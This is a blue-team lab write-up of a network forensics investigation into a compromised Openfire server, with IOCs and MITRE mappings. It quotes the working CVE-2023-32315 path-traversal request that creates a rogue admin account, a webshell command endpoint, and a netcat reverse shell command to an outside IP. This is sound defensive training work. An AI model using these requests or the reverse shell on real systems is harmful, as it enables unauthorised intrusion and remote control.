Openfire

Scenario

An Openfire messaging server was compromised in a data breach exposing sensitive communications. Network capture files were provided to identify the exploitation method, trace attacker actions, and extract indicators of compromise.

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Tooling

• Wireshark

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Investigation

Initial Access — Credential Harvesting

Filtering for POST requests to identify login activity:

http.request.method == "POST"

This revealed a login request containing a CSRF token and plaintext credentials:

• CSRF Token: tmJU6J9uym8oIOD
• Password: Admin@Passw0rd#@#

Account Creation via Path Traversal

Filtering for GET requests exposed the attacker exploiting CVE-2023-32315 — an authentication bypass in Openfire’s setup console — to create a new administrative account via path traversal:

http.request.method == "GET"

The malicious request:

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=yGWwGRL3IKMHPFX&username=3536rr&password=dc0b2y&passwordConfirm=dc0b2y&isadmin=on

The URL-encoded %u002e%u002e sequences decode to .. — traversing out of the setup directory to reach the user creation endpoint without authentication.

• Username created: 3536rr
• Password: dc0b2y

Admin Panel Access

With the newly created account, the attacker authenticated to the admin panel using a second account:

• Username: a7zo4l

Malicious Plugin Upload

Following the HTTP stream for plugin-admin.jsp?uploadplugin revealed the attacker uploading a malicious plugin to establish persistent code execution:

• Plugin filename: openfire-plugin.jar

Webshell Execution

With the plugin active, the attacker used the exposed cmd.jsp endpoint to execute commands:

POST /plugins/openfire-plugin/cmd.jsp?action=command HTTP/1.1

First command executed: whoami

The attacker then established a reverse shell using netcat:

command=nc+192.168.18.160+8888+-e+%2Fbin%2Fbash

Decoded: nc 192.168.18.160 8888 -e /bin/bash

Post-Exploitation Reconnaissance

Following the reverse shell stream revealed host reconnaissance commands:

• ifconfig — enumerate network interfaces
• id — confirm running user privileges
• uname -a — identify OS and kernel version
• whoami — confirm execution context

IOCs

Type	Value
IP	192.168.18.160
CVE	CVE-2023-32315
CSRF Token	tmJU6J9uym8oIOD
Admin Password	Admin@Passw0rd#@#
Created Username	3536rr
Admin Username	a7zo4l
Malicious Plugin	openfire-plugin.jar
Reverse Shell Port	8888

Conclusion

The attacker exploited CVE-2023-32315, an authentication bypass in Openfire’s setup console, using path traversal to create a rogue admin account without credentials. After authenticating to the admin panel, they uploaded a malicious JAR plugin exposing a command execution endpoint, then used it to spawn a netcat reverse shell and conduct post-exploitation reconnaissance.

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References

• CVE-2023-32315 — Openfire Authentication Bypass
• MITRE T1190 — Exploit Public-Facing Application
• MITRE T1059 — Command and Scripting Interpreter
• MITRE T1048 — Exfiltration Over Alternative Protocol
• CyberDefenders — Openfire Lab

I successfully completed Openfire Blue Team Lab at @CyberDefenders! https://cyberdefenders.org/blueteam-ctf-challenges/achievements/inksec/openfire/

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